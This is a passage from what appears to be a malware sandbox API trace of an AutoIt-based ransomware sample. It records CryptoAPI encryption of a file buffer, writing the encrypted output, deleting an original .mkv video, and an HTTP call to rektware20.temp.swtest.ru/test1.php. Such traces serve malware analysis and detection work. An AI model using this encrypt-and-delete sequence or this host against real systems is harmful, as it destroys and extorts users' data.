(hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0067.390] CryptGetKeyParam (in: hKey=0x164c3f0, dwParam=0x7, pbData=0x1629550, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629550*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0067.390] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.390] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.390] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.390] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.390] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.390] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.390] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.390] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.390] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.390] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.390] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.390] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.390] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.391] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.391] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.391] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.391] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.391] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.391] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.391] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.391] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.391] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.391] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.391] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.392] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621870, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.393] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.393] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xf753, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xf760) returned 1 [0067.393] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.393] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.393] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.393] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.393] CharLowerBuffW (in: lpsz="byte[63329]", cchLength=0xb | out: lpsz="byte[63329]") returned 0xb [0067.393] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.394] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.394] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.394] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.394] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b88, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.395] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.395] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xf753, dwBufLen=0xf760 | out: pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xf760) returned 1 [0067.395] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.395] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.395] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.395] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.395] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.395] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.395] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.395] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.395] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.395] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.395] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.395] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.395] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.395] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.396] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.396] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.396] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.401] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.401] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.401] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.402] WriteFile (in: hFile=0x2ac, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0xf760, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0xf760, lpOverlapped=0x0) returned 1 [0067.404] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.404] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.404] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0067.404] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.404] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.404] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0067.404] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621330, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0067.404] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0067.404] CryptDestroyKey (hKey=0x164c3f0) returned 1 [0067.404] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.404] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.405] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.405] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.405] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.405] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.405] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.405] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.405] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.405] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0067.405] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.405] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.405] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.405] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.405] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.405] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.405] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.405] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.405] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.405] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.405] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.405] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.405] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.406] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.406] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.406] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.406] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.406] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.406] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0067.406] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0067.406] CryptReleaseContext (hProv=0x17aa1a8, dwFlags=0x0) returned 1 [0067.406] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.406] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.406] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.406] FreeLibrary (hLibModule=0x74c60000) returned 1 [0067.406] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.406] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.407] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.407] CloseHandle (hObject=0x3bc) returned 1 [0067.407] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.407] CloseHandle (hObject=0x2ac) returned 1 [0067.410] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.411] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.411] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", lpFilePart=0x0) returned 0x36 [0067.411] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\0xsy.mkv")) returned 0x20 [0067.411] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164ca30 [0067.411] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\0xsy.mkv")) returned 1 [0067.415] FindNextFileW (in: hFindFile=0x164ca30, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0067.415] FindClose (in: hFindFile=0x164ca30 | out: hFindFile=0x164ca30) returned 1 [0067.415] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.415] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.415] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.416] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.416] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0067.416] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0067.416] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.416] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0067.416] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.416] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0067.416] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0067.416] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ec8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620ec8, lpdwBufferLength=0x130ef8c) returned 1 [0067.416] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.416] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.416] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.417] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0067.417] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0067.417] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0067.417] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0067.417] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629280, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629280*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0067.418] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.418] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.418] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.418] CloseHandle (hObject=0x0) returned 0 [0067.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 